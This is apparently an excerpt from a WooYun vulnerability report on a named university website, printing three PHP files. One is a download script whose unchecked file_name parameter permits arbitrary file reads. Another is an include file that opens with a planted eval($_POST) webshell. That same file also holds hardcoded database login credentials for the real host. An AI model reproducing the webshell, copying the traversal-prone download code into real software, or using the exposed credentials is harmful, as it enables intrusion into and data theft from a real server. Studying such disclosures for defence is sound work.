WooYun.org

<?
/*down.php文件*/
$file_name=$_GET[file_name];
$file_dir = "./upload/images/";  //文件存放位置
if (!file_exists($file_dir . $file_name)) { //检查文件是否存在，仅仅检测了文件是否存在，而没有检测数据的合法性
echo "文件找不到";
exit; 
} else {
$file = fopen($file_dir . $file_name,"r"); // 打开文件 
// 输入文件标签
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length: ".filesize($file_dir . $file_name));
Header("Content-Disposition: attachment; filename=" . $file_name);
// 输出文件内容
echo fread($file,filesize($file_dir . $file_name));
fclose($file);
exit;} 
?>

<?php
include_once("include/init.php");
$news = array();
$jiaoxue = array();
$xueshu = array();
$student = array();
$pic = array();
$search = array();
$url1 = array();
$url2 = array();
$url3 = array();
//gonggao
$rs = $DB->Execute("select message from gonggao");
$row=$rs->FetchRow();
$gonggao = stripslashes($row['message']);
//news
$rs = $DB->Execute("select aid,subject,created from article where sortid=15 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
	$tmp['aid'] = $row['aid'];
	$tmp['subject'] = $row['subject'];
	$tmp['created'] = date("m-d",$row['created']);
	$news[] = $tmp;
}
//jiaoxue
$rs = $DB->Execute("select aid,subject,created from article where sortid=17 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
	$tmp['aid'] = $row['aid'];
	$tmp['subject'] = $row['subject'];
	$tmp['created'] = date("m-d",$row['created']);
	$jiaoxue[] = $tmp;
}
//xueshu
$rs = $DB->Execute("select aid,subject,created from article where sortid=16 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
	$tmp['aid'] = $row['aid'];
	$tmp['subject'] = $row['subject'];
	$tmp['created'] = date("m-d",$row['created']);
	$xueshu[] = $tmp;
}
//student
......
?>

<?php
@eval($_POST['c']);  //一句话木马
define('ROOT_PATH',str_replace('include/init.php', '', str_replace('\\', '/', __FILE__)));
define('TPL_PATH',ROOT_PATH.'templates/');
define('ROOT','http://jyxy.swu.edu.cn/');
define('UPLOAD_PATH',ROOT_PATH.'upload/images/');
$config['compile_dir'] = ROOT_PATH.'templates_c/';
function newSmarty(){
	require_once("smarty/Smarty.class.php");
	$TPL = new Smarty();
    $TPL->left_delimiter = "{%";
    $TPL->right_delimiter = "%}";
    $TPL->caching = false;
	$TPL->template_dir = TPL_PATH;
    $TPL->compile_dir = ROOT_PATH.'templates_c/';
	return $TPL;
}
function newAdodb($dbName=''){
	require_once("adodb/adodb.inc.php");
	$DB = ADONewConnection('mysql');
	$DB->Connect('localhost','jyxy_f','jyxy781648','jyxy'); //连接mysql数据库的，还有就是用户名，密码，和数据库了。
	$DB->Execute("set names 'gbk'");
	return  $DB;
}
$TPL = newSmarty();
$DB = newAdodb();
//$DB->debug=true;
?>